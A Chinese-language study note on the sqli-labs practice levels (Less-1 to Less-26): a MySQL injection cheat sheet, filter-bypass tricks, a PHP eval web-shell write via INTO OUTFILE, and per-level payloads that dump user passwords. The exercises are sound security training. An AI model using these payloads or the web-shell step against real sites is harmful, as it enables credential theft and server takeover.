SQLi Lab 做题小记
前言
本来是看不上sqlibab的,因为很多题可以用同一句话注入,都没啥做下去的欲望,但是发现自己注入还是太生疏,很多东西记不住,看来还是需要多练习并且记点东西以便查阅和回忆
常规Payload
爆字段数
order by ...
select 1,2,3,...
爆版本和用户
select user(),version(),@@version
爆路径
select @@basedir,@@datadir
爆数据库
select database();
show databases;
SELECT group_concat(schema_name) FROM information_schema.SCHEMATA;
爆数据表
show tables (from ...);
SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = ...;
爆字段名
SELECT COLUMN_NAME,DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = ...;
show columns from ...;
select * from (select * from users as a join users b using(id,username,password))c
串接
concat(value1,value2,...)
select group_concat(column_name) from ... where ...
嵌套
双查询
select 1,(select 2),concat((select 3))
派生表
select 1 from (select ...)x
盲注Payload
逻辑注入
substr(string,start,n)
mid(string,start,n)
left(string,n)
ascii(chr)
ord(chr)
ifnull(chr,error)
exists(exp)
cast(X as b) # transfer X type to b
报错注入
floor注入
原型
select count(*) from 记录数多的表.多于三种值的字段 group by concat_ws(查询语句,floor(rand()*2))
select count(*),concat_ws(version(),floor(rand()*2))a from web_test.discus group by a
select 1 from (select count(*),concat_ws(version(),":",floor(rand()*2))a from information_schema.schemata group by a)x
绕过表名过滤
使用如下派生表代替表名
select 1 union select 2 union select 3
绕过rand过滤
定义用户变量a,不停a=(a+1)%2
select sum(@a:=1),min(@a:=1),max(@a:=1) from information_schema.tables group by concat(@@version,@a:=(@a+1)%2)
溢出注入
有版本限制,5.5.5<=mysql<5.5.53(?)
select exp(~(select*from(查询语句)x))
select exp(if((select xxx) like '{{str}}')1,2),1025) # pow 代替exp
select ~0+!(select * from (查询语句)x)# + uri需转义为%2B
XPATH注入
select updatexml(1,concat(1,查询语句),1)
select extractvalue(1,concat(1,查询语句))
NAME_CONST
有版本限制,5.0.12<=mysql<?,最新的只能获取到version()
select * from (select name_const(version(),0),name_const(version(),0))x
时间注入
这个其实本质还是布尔注入,只是需要加一句sleep用来判断是否成功
if(exp,sleep(10),else)
比如
?id=1' and sleep(13) union select 1,2,3,4--+
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+
堆叠注入
预处理拼接
改表名
绕过execute过滤: handler
table(mysql新特性)
(union) select * from table_name => (union) table table_name
常见绕过
过滤=
regexp 'a*'
like '%dmin'
in 'admin'
过滤information_schema
//mysql>=5.6
select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();
//mysql>=5.7.9 <=?<=10
//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
//performance_schema
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
//包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
MySQL 5.6 及以上版本存在innodb_index_stats
,innodb_table_stats
两张表,其中包含新建立的库和表
之前的查询记录
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
无列名注入
//使用`union select`
select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1
//无逗号,有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
//盲注
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))
无select
mysql 8.0.19
新增语句table
MySQL :: MySQL 8.0 Reference Manual :: 13.2.12 TABLE Statement
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
可以把table t
简单理解成select * from t
,和select
的区别在于
table
总是显示表的所有列table
不允许任何的行过滤;也就是说,TABLE
不支持任何WHERE
子句。
可以用来盲注表名
admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#
同时代替select
被过滤导致只能同表查询的问题
PS:新增的values
语句也挺有意思,在某些情况似乎可以代替union
或select
进行order by
盲注
绕过 and or xor
&& || | !
绕过
substr(x,1,1)=>substr(x from 1 for 1)
sleep() => benchmark()
group_concat() => concat_ws()
substr(),mid()=>substring()
bin()、hex() => ascii()
@@user => user()
where usernme = 'admin' limit 1 => where username = 'admin'/*' limit '*/ and true;
order by desc -> order by if (xxx,1,2)
宽字节注入
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes()
转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。
mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一:
改变mysql配置文件my.cnf
default-character-set=GBK
方法二:
在建立连接时使用
SET CHARACTER SET ‘GBK’
例:
mysql_query(“SET CHARACTER SET ‘gbk'”, $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
绕过where中对某字段的限制
如password屏蔽了extravalue(),那么就把passowrd屏蔽了
?username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '
MySQL 服务器伪造读取任意文件
框架 xmap wamp phpstudy … 下存在页面可以设置链接任意数据库,链接数据库时数据库服务器可以向客户端请求一个任意文件来认证
常见错误
Unknown column ‘security’ in ‘where clause’
拼凑sql语句时对字符类型数据没有用引号引起来
例如
stmt.executeQuery("select * from user where username = " + name);
应该修改为
stmt.executeQuery("select * from user where username = '" + name + "'");
MySQL get shell
直接写入
需要 show global variables like %secure%
结果中 xxx_priv 为 True
select '<php @eval($_post[1])?>'into outfile/var/www/html/shell. php
日志文件
Set global general_log ="ON";
set global general_log_file='E:/phpstudy/phpTutorial/www/shell.php'
查看绝对路径
select @@basedir:
提权
初阶难度
Less-1
?id='
先乱输一些东西他有报错
You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near ‘”’ LIMIT 0,1′ at line 1
所以猜测查询语句为
select * where id='$_GET[id]' limit 0,1
使用联合查询试一试他有几个字段
?id=' union select 1,2,3--+
然后发现是三个字段,并且输出到网页的是是第2和第3个字段,然后就
爆库名
?id=' union select 1,2,database()--+
爆表名
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆数据
?id=' union select 1,group_concat(username),group_concat(password) from security.users--+
Less-2
?id='
乱输一气报错
You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near ‘‘ LIMIT 0,1′ at line 1
可以看到下划线加粗部分和Less-1中不同,在Less-1中
?id=1'--+
是可以正常执行的,但是Less-2中报错和上面一样,但是
?id='1'--+
是能正确执行的(但在Less-1中不能)
故猜测查询语句应为
select * where id=$_GET[id] limit 0,1
即查询的整数类型字段值没有用单引号括起来(难怪叫intiger based)
其余步骤和Less-1无异,不再赘述
Less-3
?id='
老样子乱输一气,报错
You have an error
in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near ‘”’) LIMIT 0,1′ at line
1
可以发现相比Less-1多了个括号,故猜测如下
select * where id=('$_GET[id]') limit 0,1
所以对应位置给闭合一下就可以了,比如
?id=') union select 1,2,3--+
不再赘述
Less-4
?id='
发现没有返回数据,因为有提示double quote,所以换双引号
?id="
报错如下
You have an error
in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near ‘""") LIMIT 0,1′ at line
1
可见查询语句应该是
select * where id=("$_GET[id]") limit 0,1
所以注入语句改一下
?id=") union select 1,2,3--+
不再赘述
Less-5
这题网页不显示数据,因此需要盲注中的报错注入
floor注入
?id=' union select count(*),1,2 from information_schema.tables group by concat((select concat(username,":",password) from security.users limit 0,1),floor(rand()*2))--+
extravalue注入
?id=' union select extractvalue(1, (select concat(1,username) from security.users limit 0,1)),1,2--+
Less-6
和上一题差不多,就是单引号变成了双引号
Less-7
这题不仅没有数据回显,报错的详细信息也隐藏了
传统艺能试一下
?id='
报错。应该是单引号
?id=' union select 1,2,3--+
竟然还是报错
?id=1
正常的啊,难道不是单引号?
?id=1'--+
报错,难道有括号?
?id=1')--+
还是不行?
?id=1'))--+
可以了,看来有两个括号。。。
这题不知道为什么不行,是写权限的问题?
-1')) union select 1,2,3 into outfile "/var/lib/mysql/hhaha.php"--+
Less-8
布尔盲注
猜数据库名长度
?id=1' and length(database())=8--+
猜数据库名每一个字符
?id=1' and left(database(),1)='S'--+
?id=1' and left(database(),1)='Se'--+
不再赘述
?id=1' and left((select username from security.users limit 0,1),1)='d'--+
Less-9
这题你会发现无论你输入什么都是you are in …
根据提示 这道题应该使用时间注入
尝试
?id=1' and sleep(10)--+
会发现火狐浏览器标签页上的小圆点来回了10次(10s),说明sleep被执行了
?id=1' and sleep(10) and (select password from security.users limit 0,1)='dumb'--+
Less-10
Less-9 的单引号变双引号
?id=1" and sleep(10) and (select password from security.users limit 0,1)='dumb'--+
Less-11
进入POST请求类型的注入,竟然给了表单,真好
uname='&passwd=&submit=Submit
随便试一下,报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1
一般的单引号注入不赘述了.
万能密码#1
uname=1'=0 or '&passwd=&submit=Submit
... where username='1'=0 or '' and password='' LIMIT 0,1
万能密码#2
uname=' or '1&passwd=1'='0&submit=Submit
... where username='' or '1' and password='1'='0' LIMIT 0,1
payload
uname=' union select 1,group_concat(username,password) from security.users#&passwd=&submit=Submit
Less-12
uname=") union select 1,group_concat(username,password) from security.users#&passwd=&submit=Submit
Less-13
uname=') union select extractvalue(1, (select concat(1,username,":",password) from security.users limit 1,1)),1#&passwd=&submit=Submit
Less-14
标题貌似写错了?应该是双引号吧,而且没有twist
uname=" union select extractvalue(1, (select concat(1,username,":",password) from security.users limit 1,1)),1#&passwd=&submit=Submit
Less-15
万能密钥真好用这里不能像GET的时候直接id=1,因为id=1是存在的,返回的是真,但是这里是输入用户名,再username=1的话就不管用了。这个时候有两个办法
-
万能钥匙
uname=1'=0#&passwd=&submit=Submit
-
常见用户和弱口令
uname=admin&passwd=admin&submit=Submit
所以这里直接来
uname=1'=0 and (select password from security.users limit 0,1)='dumb'#&passwd=&submit=Submit
Less-16
这里的双引号后面要加个括号
uname=1")=0 and (select password from security.users limit 0,1)='dumb'#&passwd=&submit=Submit
Less-17
这题尝试后会发现username字段有过滤,故只能用password字段搞事情
uname=admin&passwd=123' and extractvalue(1,concat(1,(select password from security.users limit 0,1)))#&submit=Submit
Less-18
这道题需要事先知道用户名和密码?
User-Agent: ' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1
Less-19
同上一题
Referer: ' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1
Less-20
buuoj上的环境有问题,response没有返回set-cookie…
所以手动构造cookie
Cookie: uname=' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1
还有就是后台逻辑仅在POST没有submit参数的时候使用cookie,因此Payload里不能有submit参数
进阶模式
… 我知道为啥buuoj的环境有问题了,估计是部署了一个有bug的sqli-labs …
所以接下来我换环境了!借用 鹏神的服务器上搭好的 sqli-labs
Less-21
这道题和Less-20差不多,就是cookie被base64编码了
先乱输一个
Cookie: uname=Jw== #base64.encode("'")='Jw=='
报错
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1
可以知道有括号
所以
>>> import base64
>>> base64.encode(b"') and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or (1='1")
b'JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgxLChzZWxlY3QgcGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpKSkgb3IgKDE9JzE=''
Cookie: uname=JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgxLChzZWxlY3QgcGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpKSkgb3IgKDE9JzE=
Less-22
单引号变双引号,而且没括号
>>> import base64
>>> base64.b64encode(b'"')
b'Ig=='
Cookie: uname=Ig==
报错
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" LIMIT 0,1' at line 1
故
>>> import base64
>>> base64.b64encode(b'" and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1="1')
b'IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDEsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSkpKSBvciAxPSIx'
Cookie: uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDEsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSkpKSBvciAxPSIx
Less-23
过滤掉了注释符,所以闭合’就好了
?id=-1' union select 1,(select group_concat(username,"@",password) from security.users ),'3
Less-24
???
Less-25
把 or 给过滤了,需要双写绕过。。。 passwoorrd
?id=-1' union select 1,(select group_concat(username,"@",passwoorrd) from security.users ),3--+
Less-26
过滤空格,而且过滤了各种注释(注释能用来过滤空格,/、/*、-、–+啥都没了),可以用一下URL编码代替空格
同时也过滤了o
%09
TAB 键(水平)%0a
新建一行%20
空格%0b
TAB 键(垂直)%0c
新的一页%0d
return 功能%a0
空格;%00
注释/*! */
()
括号括起来
?id=0'%a0union%a0select%a01,(select%a0group_concat(username,"@",passwoorrd)%a0from%a0security.users),'3